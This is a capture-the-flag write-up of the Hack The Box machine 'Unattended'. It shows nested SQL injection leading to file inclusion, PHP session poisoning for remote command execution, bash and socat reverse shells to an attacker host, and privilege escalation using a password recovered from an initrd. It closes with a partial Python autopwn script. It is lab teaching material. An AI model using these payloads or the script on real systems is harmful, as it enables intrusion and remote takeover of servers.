Unattended write-up
Ανάλυση του Unattended
Enumeration
Port scanning
Let’s scan the full range of TCP and UDP ports using my tool htbscan.py
$ sudo htbscan.py 10.10.10.126
Running command: sudo masscan -e tun0 -p1-65535,U:1-65535 --max-rate 500 --interactive 10.10.10.126
Starting masscan 1.0.4 (http://bit.ly/14GZzcT) at 2019-08-23 15:11:16 GMT
-- forced options: -sS -Pn -n --randomize-hosts -v --send-eth
Initiating SYN Stealth Scan
Scanning 1 hosts [131070 ports/host]
Discovered open port 443/tcp on 10.10.10.126
Discovered open port 80/tcp on 10.10.10.126
Running command: sudo nmap -A -p80,443 10.10.10.126
Starting Nmap 7.70 ( https://nmap.org ) at 2019-08-23 18:17 EEST
Nmap scan report for www.nestedflanders.htb (10.10.10.126)
Host is up (0.075s latency).
PORT STATE SERVICE VERSION
80/tcp open http nginx 1.10.3
|_http-server-header: nginx/1.10.3
|_http-title: Did not follow redirect to https://www.nestedflanders.htb
443/tcp open ssl/http nginx 1.10.3
|_http-server-header: nginx/1.10.3
|_http-title: Apache2 Debian Default Page: It works
| ssl-cert: Subject: commonName=www.nestedflanders.htb/organizationName=Unattended ltd/stateOrProvinceName=IT/countryName=IT
| Not valid before: 2018-12-19T09:43:58
|_Not valid after: 2021-09-13T09:43:58
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 3.10 - 4.11 (91%), Linux 3.12 (91%), Linux 3.13 (91%), Linux 3.13 or 4.2 (91%), Linux 3.16 - 4.6 (91%), Linux 3.2 - 4.9 (91%), Linux 3.8 - 3.11 (91%), Linux 4.2 (91%), Linux 4.4 (91%), Linux 4.8 (91%)
No exact OS matches for host (test conditions non-ideal).
We observe that port 80 redirects to https://www.nestedflanders.htb and the commonName of the SSL certificate is also the same. Therefore, we add the following line in our /etc/hosts file:
10.10.10.126 www.nestedflanders.htb
Brute-forcing directories and files
Now, let’s brute-force directories and files using gobuster:
$ gobuster -k -u https://www.nestedflanders.htb -w /opt/DirBuster/directory-list-2.3-medium.txt -t 20 -x php
=====================================================
Gobuster v2.0.1 OJ Reeves (@TheColonial)
=====================================================
[+] Mode : dir
[+] Url/Domain : https://www.nestedflanders.htb/
[+] Threads : 20
[+] Wordlist : /opt/DirBuster/directory-list-2.3-medium.txt
[+] Status codes : 200,204,301,302,307,403
[+] Extensions : php
[+] Timeout : 10s
=====================================================
2019/04/30 01:20:35 Starting gobuster
=====================================================
/index.php (Status: 200)
/dev (Status: 301)
Exploitation
SQL Injection
If we visit https://www.nestedflanders.htb/index.php, we see some interesting links of this pattern: index.php?id=
<div class="col-md-2"><a href="index.php?id=25" target="maifreim">main</a></div><div class="col-md-2"><a href="index.php?id=465" target="maifreim">about</a></div><div class="col-md-2"><a href="index.php?id=587" target="maifreim">contact</a>
Let’s run sqlmap to test for SQL injections:
$ sqlmap -u "https://www.nestedflanders.htb/index.php?id=465" --method=GET -p id --level=5 --risk=3 --dbms=MySQL --threads 10
...
[18:49:08] [INFO] GET parameter 'id' appears to be 'AND boolean-based blind - WHERE or HAVING clause' injectable (with --string="Feel")
...
[18:49:24] [INFO] GET parameter 'id' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable
...
sqlmap identified the following injection point(s) with a total of 501 HTTP(s) requests:
---
Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=465' AND 5708=5708-- sdGB
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: id=465' AND (SELECT 2816 FROM (SELECT(SLEEP(5)))iVnX)-- orQO
---
[18:51:13] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0.12
Let’s see what databases we have:
$ sqlmap -u "https://www.nestedflanders.htb/index.php?id=465" --method=GET -p id --level=5 --risk=3 --dbms=MySQL --threads 10 --dbs
available databases [2]:
[*] information_schema
[*] neddy
Let’s see what tables the database ‘neddy’ have:
$ sqlmap -u "https://www.nestedflanders.htb/index.php?id=465" --method=GET -p id --level=5 --risk=3 --dbms=MySQL --threads 10 -D neddy --tables
Database: neddy
[11 tables]
+--------------+
| config |
| customers |
| employees |
| filepath |
| idname |
| offices |
| orderdetails |
| orders |
| payments |
| productlines |
| products |
+--------------+
Well, three databases look very promising (‘config’, ‘filepath’, ‘idname’). Let’s dump and examine them:
$ sqlmap -u "https://www.nestedflanders.htb/index.php?id=465" --method=GET -p id --level=5 --risk=3 --dbms=MySQL --threads 10 -D neddy -T config --dump
Database: neddy
Table: config
[52 entries]
+-----+-------------------------+----------------------------------------------+
| id | option_name | option_value |
+-----+-------------------------+----------------------------------------------+
| 54 | offline | 0 |
| 55 | offline_message | Site offline, please come back later |
| 56 | display_offline_message | 0 |
| 57 | offline_image | <blank> |
| 58 | sitename | NestedFlanders |
| 59 | editor | tinymce |
| 60 | captcha | 0 |
| 61 | list_limit | 20 |
| 62 | access | 1 |
| 63 | debug | 0 |
| 64 | debug_lang | 0 |
| 65 | dbtype | mysqli |
| 66 | host | localhost |
| 67 | live_site | <blank> |
| 68 | gzip | 0 |
| 69 | error_reporting | default |
| 70 | ftp_host | 127.0.0.1 |
| 71 | ftp_port | 21 |
| 72 | ftp_user | flanders |
| 73 | ftp_pass | 0e1aff658d8614fd0eac675b...287a94ffcde451466 |
| 74 | ftp_root | / |
| 75 | ftp_enable | 1 |
| 76 | offset | UTC |
| 77 | mailonline | 1 |
| 78 | mailer | mail |
| 79 | mailfrom | nested@nestedflanders.htb |
| 80 | fromname | Neddy |
| 81 | sendmail | /usr/sbin/sendmail |
| 82 | smtpauth | 0 |
| 83 | smtpuser | <blank> |
| 84 | smtppass | <blank> |
| 85 | smtppass | <blank> |
| 86 | checkrelease | /home/guly/checkbase.pl;/home/guly/checkplugins.pl;
| 87 | smtphost | localhost |
| 88 | smtpsecure | none |
| 89 | smtpport | 25 |
| 90 | caching | 0 |
| 91 | cache_handler | file |
| 92 | cachetime | 15 |
| 93 | MetaDesc | <blank> |
| 94 | MetaKeys | <blank> |
| 95 | MetaTitle | 1 |
| 96 | MetaAuthor | 1 |
| 97 | MetaVersion | 0 |
| 98 | robots | <blank> |
| 99 | sef | 1 |
| 100 | sef_rewrite | 0 |
| 101 | sef_suffix | 0 |
| 102 | unicodeslugs | 0 |
| 103 | feed_limit | 10 |
| 104 | lifetime | 1 |
| 105 | session_handler | file |
+-----+-------------------------+----------------------------------------------+
$ sqlmap -u "https://www.nestedflanders.htb/index.php?id=465" --method=GET -p id --level=5 --risk=3 --dbms=MySQL --threads 10 -D neddy -T filepath --dump
Database: neddy
Table: filepath
[3 entries]
+---------+--------------------------------------+
| name | path |
+---------+--------------------------------------+
| about | 47c1ba4f7b1edf28ea0e2bb250717093.php |
| contact | 0f710bba8d16303a415266af8bb52fcb.php |
| main | 787c75233b93aa5e45c3f85d130bfbe7.php |
+---------+--------------------------------------+
$ sqlmap -u "https://www.nestedflanders.htb/index.php?id=465" --method=GET -p id --level=5 --risk=3 --dbms=MySQL --threads 10 -D neddy -T idname --dump
Database: neddy
Table: idname
[6 entries]
+-----+-------------+----------+
| id | name | disabled |
+-----+-------------+----------+
| 1 | main.php | 1 |
| 2 | about.php | 1 |
| 3 | contact.php | 1 |
| 25 | main | 0 |
| 465 | about | 0 |
| 587 | contact | 0 |
+-----+-------------+----------+
What do we have here?
Let’s start from table ‘idname’. This table contains three columns and six rows. The first three rows have been “disabled”. The last three rows have the same id numbers with the links on the site. Interesting. Moreover, the column ‘name’ of these rows are the same with the column ‘name’ of the table ‘filepath’. Probably, this means that those links are loading the php files defined in the column ‘path’ of the table ‘filepath’.
Indeed if we hit, for example, this url https://www.nestedflanders.htb/47c1ba4f7b1edf28ea0e2bb250717093.php we confirm that we get the ‘about’ page. In other words, we must have a query, similar to this, running on the backend:
SELECT path FROM neddy.filepath WHERE name=(SELECT name FROM neddy.idname WHERE
id='587')
Note the nested query (also known as inner query or subquery). Now, what if there is another SQL injection in the outer query? Could we exploit it using a nested SQL injection in the inner query? Let’s find out.
Nested SQL Injection (LFI)
First, let’s explore again the initial SQL injection, manually this time. If we use ‘ORDER BY 1’, we get the contact page normally:
https://www.nestedflanders.htb/index.php?id=587' ORDER BY 1 --+
But if we use ‘ORDER BY 2’, the query results in error and the default index page is showed to us:
https://www.nestedflanders.htb/index.php?id=587' ORDER BY 2 --+
Now, let’s get things interesting. The inner query should return a name like ‘contact’. What if we replace ‘contact’ with ‘about’:
https://www.nestedflanders.htb/index.php?id=587' UNION SELECT "about" --+
It worked! We got the about page instead of the contact page.
The outer query should return the path of the php file to be loaded. Let’s try
the same trick. We have to nest our 2nd SQL injection (about' UNION SELECT
'/etc/passwd' --+)
like this:
https://www.nestedflanders.htb/index.php?id=587' UNION SELECT "about' UNION SELECT '/etc/passwd' --+" --+
root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/bin/bash backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false _apt:x:104:65534::/nonexistent:/bin/false messagebus:x:105:109::/var/run/dbus:/bin/false sshd:x:106:65534::/run/sshd:/usr/sbin/nologin guly:x:1000:1000:guly,,,:/home/guly:/bin/bash mysql:x:107:112:MySQL Server,,,:/nonexistent:/bin/false
Hooray, hooray, it’s a holiday!
It’s high time to read some source code. If we
want to see the source code of php files, we have to use some kind of filter
conversion (e.g. php://filter/read=convert.base64-encode/resource=
) because,
otherwise, it will load/run the php files. Let’s
try to read /var/www/html/index.php:
https://www.nestedflanders.htb/index.php?id=587' UNION SELECT "about' UNION
SELECT 'php://filter/read=convert.base64-encode/resource=/var/www/html/index.php' --+" --+
PD9waHAKJHNlcnZlcm5hbWUgPSAibG9jYWxob3N0IjsKJHVzZXJuYW1lID0gIm5lc3RlZGZsYW5kZXJzIjsKJHBhc3N3b3JkID0gIjEwMzY5MTNjZjdkMzhkNGVhNGY3OWIwNTBmMTcxZTlmYmYzZjVlIjsKJGRiID0gIm5lZGR5IjsKJGNvbm4gPSBuZXcgbXlzcWxpKCRzZXJ2ZXJuYW1lLCAkdXNlcm5hbWUsICRwYXNzd29yZCwgJGRiKTsKJGRlYnVnID0gRmFsc2U7CgppbmNsdWRlICI2ZmIxNzgxN2VmYjQxMzFhZTRhZTFhY2FlMGY3ZmQ0OC5waHAiOwoKZnVuY3Rpb24gZ2V0VHBsRnJvbUlEKCRjb25uKSB7CglnbG9iYWwgJGRlYnVnOwoJJHZhbGlkX2lkcyA9IGFycmF5ICgyNSw0NjUsNTg3KTsKCWlmICggKGFycmF5X2tleV9leGlzdHMoJ2lkJywgJF9HRVQpKSAmJiAoaW50dmFsKCRfR0VUWydpZCddKSA9PSAkX0dFVFsnaWQnXSkgJiYgKGluX2FycmF5KGludHZhbCgkX0dFVFsnaWQnXSksJHZhbGlkX2lkcykpICkgewoJCQkkc3FsID0gIlNFTEVDVCBuYW1lIEZST00gaWRuYW1lIHdoZXJlIGlkID0gJyIuJF9HRVRbJ2lkJ10uIiciOwoJfSBlbHNlIHsKCQkkc3FsID0gIlNFTEVDVCBuYW1lIEZST00gaWRuYW1lIHdoZXJlIGlkID0gJzI1JyI7Cgl9CglpZiAoJGRlYnVnKSB7IGVjaG8gInNxbHRwbDogJHNxbDxicj5cbiI7IH0gCgkKCSRyZXN1bHQgPSAkY29ubi0
Let’s decode it:
$ echo PD9waHAKJHNlcnZlcm5hbWUgPSAibG9jYWxob3N0IjsKJHVzZXJuYW1lID0gIm5lc3RlZGZsYW5kZXJzIjsKJHBhc3N3b3JkID0gIjEwMzY5MTNjZjdkMzhkNGVhNGY3OWIwNTBmMTcxZTlmYmYzZjVlIjsKJGRiID0gIm5lZGR5IjsKJGNvbm4gPSBuZXcgbXlzcWxpKCRzZXJ2ZXJuYW1lLCAkdXNlcm5hbWUsICRwYXNzd29yZCwgJGRiKTsKJGRlYnVnID0gRmFsc2U7CgppbmNsdWRlICI2ZmIxNzgxN2VmYjQxMzFhZTRhZTFhY2FlMGY3ZmQ0OC5waHAiOwoKZnVuY3Rpb24gZ2V0VHBsRnJvbUlEKCRjb25uKSB7CglnbG9iYWwgJGRlYnVnOwoJJHZhbGlkX2lkcyA9IGFycmF5ICgyNSw0NjUsNTg3KTsKCWlmICggKGFycmF5X2tleV9leGlzdHMoJ2lkJywgJF9HRVQpKSAmJiAoaW50dmFsKCRfR0VUWydpZCddKSA9PSAkX0dFVFsnaWQnXSkgJiYgKGluX2FycmF5KGludHZhbCgkX0dFVFsnaWQnXSksJHZhbGlkX2lkcykpICkgewoJCQkkc3FsID0gIlNFTEVDVCBuYW1lIEZST00gaWRuYW1lIHdoZXJlIGlkID0gJyIuJF9HRVRbJ2lkJ10uIiciOwoJfSBlbHNlIHsKCQkkc3FsID0gIlNFTEVDVCBuYW1lIEZST00gaWRuYW1lIHdoZXJlIGlkID0gJzI1JyI7Cgl9CglpZiAoJGRlYnVnKSB7IGVjaG8gInNxbHRwbDogJHNxbDxicj5cbiI7IH0gCgkKCSRyZXN1bHQgPSAkY29ubi0 | base64 -d
<?php
$servername = "localhost";
$username = "nestedflanders";
$password = "1036913cf7d38d4ea4f79b050f171e9fbf3f5e";
$db = "neddy";
$conn = new mysqli($servername, $username, $password, $db);
$debug = False;
include "6fb17817efb4131ae4ae1acae0f7fd48.php";
function getTplFromID($conn) {
global $debug;
$valid_ids = array (25,465,587);
if ( (array_key_exists('id', $_GET)) && (intval($_GET['id']) == $_GET['id']) && (in_array(intval($_GET['id']),$valid_ids)) ) {
$sql = "SELECT name FROM idname where id = '".$_GET['id']."'";
} else {
$sql = "SELECT name FROM idname where id = '25'";
}
if ($debug) { echo "sqltpl: $sql<br>\n"; }
$result = $conn-base64: invalid input
Nice! We found some credentials for the database….
LFI to RCE (via PHP session poisoning)
But what about this strange included file ‘6fb17817efb4131ae4ae1acae0f7fd48.php’? Let’s read the source code from it too:
https://www.nestedflanders.htb/index.php?id=587' UNION SELECT "about' UNION
SELECT 'php://filter/read=convert.base64-encode/resource=/var/www/html/6fb17817efb4131ae4ae1acae0f7fd48.php' --+" --+
PD9waHAKc2Vzc2lvbl9zdGFydCgpOwppZiAoaXNzZXQoJF9TRVNTSU9OWyd1c2VyX25hbWUnXSkpewoJJHVzZXJfbmFtZSA9ICRfU0VTU0lPTlsndXNlcl9uYW1lJ107Cn0KCmZvcmVhY2ggKCRfQ09PS0lFIGFzICRrZXkgPT4gJHZhbCkgewoJJF9TRVNTSU9OWyRrZXldID0gJHZhbDsKfQoKLyogcmVtb3ZlZCBldmVyeXRoaW5nIGJlY2F1c2Ugb2YgdW5kZXJnb2luZyBpbnZlc3RpZ2F0aW9uLCBwbGVhc2UgY2hlY2sgZGV2IGFuZCBzdGFnaW5nICovCg==
Let’s decode it:
$ echo PD9waHAKc2Vzc2lvbl9zdGFydCgpOwppZiAoaXNzZXQoJF9TRVNTSU9OWyd1c2VyX25hbWUnXSkpewoJJHVzZXJfbmFtZSA9ICRfU0VTU0lPTlsndXNlcl9uYW1lJ107Cn0KCmZvcmVhY2ggKCRfQ09PS0lFIGFzICRrZXkgPT4gJHZhbCkgewoJJF9TRVNTSU9OWyRrZXldID0gJHZhbDsKfQoKLyogcmVtb3ZlZCBldmVyeXRoaW5nIGJlY2F1c2Ugb2YgdW5kZXJnb2luZyBpbnZlc3RpZ2F0aW9uLCBwbGVhc2UgY2hlY2sgZGV2IGFuZCBzdGFnaW5nICovCg== | base64 -d
<?php
session_start();
if (isset($_SESSION['user_name'])){
$user_name = $_SESSION['user_name'];
}
foreach ($_COOKIE as $key => $val) {
$_SESSION[$key] = $val;
}
/* removed everything because of undergoing investigation, please check dev and staging */
We struck gold! This code means that every cookie name/value pair is saved inside the PHP session. PHP sessions are stored in temporary files inside a specific folder. This folder is set using the session.save_path inside the php.ini file (e.g. session.save_path = "/var/lib/php/sessions"
).
Therefore, we can either read the php.ini file to learn this location or brute-force well known paths of PHP session storage. I did the latter and I discovered that indeed the sessions were stored in /var/lib/php/sessions/.
Now, we can set a cookie with a value "<?php passthru($_REQUEST['cmd'])?>"
and this will be stored inside a file at /var/lib/php/sessions/sess_<PHPSESSID>
. Then all we have to do is to include/run this file using our nested SQL injection technique:
https://www.nestedflanders.htb/index.php?id=587' UNION SELECT "about' UNION SELECT '/var/lib/php/sessions/sess_d0rosoogt4afnin1qtic4ju612' --+" --+&cmd=whoami
PHPSESSID|s:26:"d0rosoogt4afnin1qtic4ju612";test|s:32:"www-data ";
We achieved remote command execution!
To get a full shell you can try payloads like those (url-encoded them to make your life easier):bash -c 'bash -i >& /dev/tcp/LHOST/LPORT1 0>&1'
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:LHOST:LPORT
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp6:[LHOST]:LPORT
Or you can try my autopwn script:
[*] LHOST: dead:beef:2::12d0
What shell do you want?
[1] www-data@unattended
[2] guly@unattended
[3] root@unattended
[4] Exit
Please enter a number 1-4: 1
[+] Trying to bind to dead:beef:2::12d0 on port 60000: Done
[+] Waiting for connections on dead:beef:2::12d0:60000: Got connection from dead:beef::250:56ff:feb9:880a on port 53778
[*] Injecting session via cookies: Status code 200
[*] Cookies: {'PHPSESSID': '4mlq7e9jafls6pmnmajd7hmug0', 'user_name': '<?php passthru($_REQUEST[cmd])?>'}
[*] LFI via SQLI status code: 200
[+] Testing RCE: SUCCESS
[*] Switching to interactive mode
www-data@unattended:/var/www/html$
Getting user guly
Do you remember the table ‘config’? Now that we have command execution and the database credentials we can examine it again like this:
www-data@unattended:/var/www/html$ mysql -u nestedflanders -p'1036913cf7d38d4ea4f79b050f171e9fbf3f5e' -e 'select * from config' neddy
...
| 86 | checkrelease | /home/guly/checkbase.pl;/home/guly/checkplugins.pl; |
....
Hmmm… This line looks fishy. Let’s try to exploit it in order to run our own Perl script. First, we have to find an executable and writable location for our perl script:
$ find / -writable -type d 2> /dev/null
/proc/1746/task/1746/fd
/proc/1746/fd
/proc/1746/map_files
/var/tmp
/var/lib/php/sessions
/var/lib/nginx/fastcgi
/var/lib/nginx/proxy
/var/lib/nginx/proxy/1
/var/lib/nginx/proxy/1/00
/var/lib/nginx/body
/var/lib/nginx/scgi
/var/lib/nginx/uwsgi
/var/cache/apache2/mod_cache_disk
/dev/mqueue
/dev/shm
/tmp
/run/lock
/run/lock/apache2
$ mount | grep noexec
...
tmpfs on /dev/shm type tmpfs (rw,nosuid,nodev,noexec)
...
tmpfs on /run/lock type tmpfs (rw,nosuid,nodev,noexec,relatime,size=5120k)
...
tmpfs on /tmp type tmpfs (rw,nosuid,nodev,noexec,relatime)
tmpfs on /var/tmp type tmpfs (rw,nosuid,nodev,noexec,relatime)
As you can see several paths (/dev/shm, /tmp, /var/tmp) are mounted using the ‘noexec’ option. This means that if we put our Perl script here, it cannot be executed. So, let’s make a directory inside /var/lib/php/sessions and put it there instead:
$ mkdir /var/lib/php/sessions/a
$ which perl
/usr/bin/perl
$ which socat
/usr/bin/socat
$ printf '#!/usr/bin/perl\nexec("/usr/bin/socat exec:bash,pty,stderr,setsid,sigint,sane tcp:LHOST:LPORT");\n' > /var/lib/php/sessions/a/checkrelease.pl
$ chmod +x /var/lib/php/sessions/a/checkrelease.pl
Now, we have to alter the database appropriately:
$ mysql -u nestedflanders -p'1036913cf7d38d4ea4f79b050f171e9fbf3f5e' -e 'update config set option_value="/var/lib/php/sessions/a/checkrelease.pl;" where option_name="checkrelease"' neddy
Let’s verify out change:
www-data@unattended:/var/www/html$ mysql -u nestedflanders -p'1036913cf7d38d4ea4f79b050f171e9fbf3f5e' -e 'select * from config' neddy
...
| 86 | checkrelease | /var/lib/php/sessions/a/checkrelease.pl; |
....
Don’t forget to setup your listener:
$ socat file:`tty`,echo=0,raw tcp-listen:LPORT
guly@unattended:~$ cat user.txt
cat user.txt
9b413f3******************70eef14
Later, I discovered that there is no need for a Perl script. We can simply put any shell command in that database field like this:
mysql -u nestedflanders -p'1036913cf7d38d4ea4f79b050f171e9fbf3f5e' -e 'update config set option_value="socat exec:/bin/bash,pty,stderr,setsid,sigint,sane tcp:LHOST:LPORT" where option_name="checkrelease"' neddy
There is another thing you have to pay attention… The host-based firewall (iptables):
$ cat /etc/iptables/rules.v4
# Generated by iptables-save v1.6.0 on Wed Dec 19 21:55:49 2018
*filter
:INPUT DROP [7:1813]
:FORWARD ACCEPT [0:0]
:OUTPUT DROP [34:2661]
-A INPUT -i lo -j ACCEPT
-A INPUT -i ens33 -m state --state RELATED,ESTABLISHED -j ACCEPT
-A INPUT -i ens33 -p tcp -m multiport --dports 80,443 -j ACCEPT
-A INPUT -i ens33 -p icmp -j ACCEPT
-A FORWARD -m state --state RELATED,ESTABLISHED -j ACCEPT
-A FORWARD -j DROP
-A OUTPUT -o lo -j ACCEPT
-A OUTPUT -o ens33 -m state --state RELATED,ESTABLISHED -j ACCEPT
-A OUTPUT -o ens33 -p tcp -m multiport --dports 80,443 -j ACCEPT
-A OUTPUT -o ens33 -p icmp -j ACCEPT
COMMIT
# Completed on Wed Dec 19 21:55:49 2018
$ cat /etc/iptables/rules.v6
# Generated by ip6tables-save v1.6.0 on Thu Dec 20 12:27:54 2018
*filter
:INPUT ACCEPT [0:0]
:FORWARD ACCEPT [0:0]
:OUTPUT ACCEPT [0:0]
COMMIT
# Completed on Thu Dec 20 12:27:54 2018
As you can see only ports 80 and 443 are allowed for IPv4 and therefore we have to use one of them for our remote shell. Of course, we can use the IPv6 protocol instead (for which all ports are allowed).
Getting root
Let’s see what groups is user guly a member of:
guly@unattended:~$ groups
guly cdrom floppy audio dip video plugdev grub netdev
The group ‘grub’ stands out. This is not a common group. Let’s find what files belong to this group:
guly@unattended:~$ find / -group grub 2> /dev/null
/boot/initrd.img-4.9.0-8-amd64
Let’s explore this initrd image. We can decompress it like this:
guly@unattended:~$ mkdir .test && cd .test
guly@unattended:~/.test$ zcat /boot/initrd.img-4.9.0-8-amd64 | cpio -idmv
The name of this box is “Unattended”. Maybe the administrators have automated some procedures inside the initrd image. Let’s search for hardcoded passwords:
$ grep -n3 -IR password
...
scripts/local-top/cryptroot-299- if [ ! -e "$NEWROOT" ]; then
scripts/local-top/cryptroot:300: # guly: we have to deal with lukfs password sync when root changes her one
scripts/local-top/cryptroot-301- if ! crypttarget="$crypttarget" cryptsource="$cryptsource" \
scripts/local-top/cryptroot-302- /sbin/uinitrd c0m3s3f0ss34nt4n1 | $cryptopen ; then
scripts/local-top/cryptroot:303: message "cryptsetup: cryptsetup failed, bad password or options?"
scripts/local-top/cryptroot-304- sleep 3
scripts/local-top/cryptroot-305- continue
scripts/local-top/cryptroot-306- fi
...
This ‘/sbin/uinitrd c0m3s3f0ss34nt4n1’ looks promising…. Let’s try it:
guly@unattended:~/.test$ ./sbin/uinitrd c0m3s3f0ss34nt4n1
132f93ab100671dcb263acaf5dc95d8260e8b7c6
The comment says “# guly: we have to deal with lukfs password sync when root changes her one”. Maybe this ‘132f93ab100671dcb263acaf5dc95d8260e8b7c6’ is the root password. Let’s try it:
guly@unattended:~/.test$ su - root
Password: 132f93ab100671dcb263acaf5dc95d8260e8b7c6
root@unattended:~# cat /root/root.txt
559c0**********************791d3
Bingo! That’s all folks! :o)
Autopwn script
Here is my autopwn script. It uses IPv6 by default (which is no blocked by the host-based firewall). But you can change it to use IPv4 (IPV6 = False). In this case you need to run it with sudo (or as root) in order to be able to bind the privileged ports (80 and 443).
#!/usr/bin/env python2
# Author: Alamot (Antonios Tsolis)
import re
import json
import time
import uuid
import fcntl
import base64
import urllib
import random
import requests
requests.packages.urllib3.disable_warnings()
import signal
signal.signal(signal.SIGINT, signal.SIG_DFL)
from pwn import *
def int2ipv6(addr):
''' Convert an integer to an IPv6 address '''
addr = addr.decode('hex')
addr = socket.inet_ntop(socket.AF_INET6, addr)
return addr
def get_ip_address(ifname, ipv6=False):
''' Return the IP of an interface. '''
if ipv6:
with open("/proc/net/if_inet6" , "rt") as f:
lines = f.readlines()
for line in lines:
data = line.split()
address = data[0].strip()
interface = data[5].strip()
if interface == ifname and address[0:4] not in ["fe80", "fd00"]:
return int2ipv6(address)
else:
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
return socket.inet_ntoa(fcntl.ioctl(s.fileno(),
0x8915, # SIOCGIFADDR
struct.pack('256s', ifname[:15].encode()))[20:24])
IPV6 = True
INTERFACE = "tun0"
LHOST = get_ip_address(INTERFACE, ipv6=IPV6)
if IPV6:
LPORT1 = "60000"
LPORT2 = "60001"
else:
LPORT1 = "443"
LPORT2 = "80"
RURL = "https://www.nestedflanders.htb"
def send_payload():
try:
session = requests.Session()
session.verify = False
session.cookies['user_name'] = '<?php passthru($_REQUEST[cmd])?>'
response = session.get(RURL + "/index.php")
log.info("Injecting session via cookies: Status code " + str(response.status_code))
if response.status_code != 200:
exit()
log.info("Cookies: " + str(session.cookies.get_dict()))
phpsessid = session.cookies.get_dict()["PHPSESSID"].strip()
if not phpsessid:
exit()
response = session.get(RURL + "/index.php?id=587%27%20UNION%20SELECT%20%22about%27%20UNION%20SELECT%20%27%2fvar%2flib%2fphp%2fsessions%2fsess_" + phpsessid + "%27%20LIMIT%201,1%20--%20%22%20LIMIT%201,1%20--%20&cmd=whoami")
log.info("LFI via SQLI status code: " + str(response.status_code))
if response.status_code != 200:
exit()
if "www-data" in response.content:
log.success("Testing RCE: SUCCESS")
else:
log.error("Testing RCE: FAILED")
exit()
# Alternative payloads (they work too)
# Payload (url-encoded): bash -c 'bash -i >& /dev/tcp/LHOST/LPORT1 0>&1'
# payload = "%62%61%73%68%20%2d%63%20%27%62%61%73%68%20%2d%69%20%3e%26%20%2f%64%65%76%2f%74%63%70%2f" + LHOST + "%2f" + str(LPORT1) + "%20%30%3e%26%31%27"
if IPV6:
# Payload (url-encoded): socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp6:[LHOST]:LPORT1
payload = "%73%6f%63%61%74%20%65%78%65%63%3a%27%62%61%73%68%20%2d%6c%69%27%2c%70%74%79%2c%73%74%64%65%72%72%2c%73%65%74%73%69%64%2c%73%69%67%69%6e%74%2c%73%61%6e%65%20%74%63%706%3a%5b" + LHOST + "%5d%3a" + str(LPORT1)
else:
# Payload (url-encoded): socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:LHOST:LPORT1
payload = "%73%6f%63%61%74%20%65%78%65%63%3a%27%62%61%73%68%20%2d%6c%69%27%2c%70%74%79%2c%73%74%64%65%72%72%2c%73%65%74%73%69%64%2c%73%69%67%69%6e%74%2c%73%61%6e%65%20%74%63%70%3a" + LHOST + "%3a" + str(LPORT1)
response = session.get(RURL + "/index.php?id=587%27%20UNION%20SELECT%20%22about%27%20UNION%20SELECT%20%27%2fvar%2flib%2fphp%2fsessions%2fsess_" + phpsessid + "%27%20LIMIT%201,1%20--%20%22%20LIMIT%201,1%20--%20&cmd=" + payload)
except requests.exceptions.RequestException as e:
log.failure(str(e))
finally:
if session:
session.close()
log.success("Web session thread exited successfully.")
log.info("LHOST: " + LHOST)
print("\nWhat shell do you want?")
print("[1] www-data@unattended")
print("[2] guly@unattended")
print("[3] root@unattended")
print("[4] Exit\n")
response = None
while response not in ["1", "2", "3", "4"]:
response = raw_input("Please enter a number 1-4: ").strip()
if response == "4":
sys.exit()
try:
threading.Thread(target=send_payload).start()
except Exception as e:
log.error(str(e))
wwwdata_shell = listen(LPORT1, bindaddr=LHOST, timeout=20).wait_for_connection()
if response == "1":
wwwdata_shell.interactive()
wwwdata_shell.exit()
log.info("Writing perl script: /var/lib/php/sessions/a/checkrelease.pl")
wwwdata_shell.sendline("mkdir /var/lib/php/sessions/a")
# wwwdata_shell.sendline('printf \'#!/usr/bin/perl\nuse Socket;$i="' + LHOST + '";$p=' + str(LPORT2) + ';socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};\n\' > /var/lib/php/sessions/a/checkrelease.pl')
if IPV6:
wwwdata_shell.sendline("printf '#!/usr/bin/perl\nexec(\"/usr/bin/socat exec:bash,pty,stderr,setsid,sigint,sane tcp6:[" + LHOST + "]:" + str(LPORT2) + "\");\n' > /var/lib/php/sessions/a/checkrelease.pl")
else:
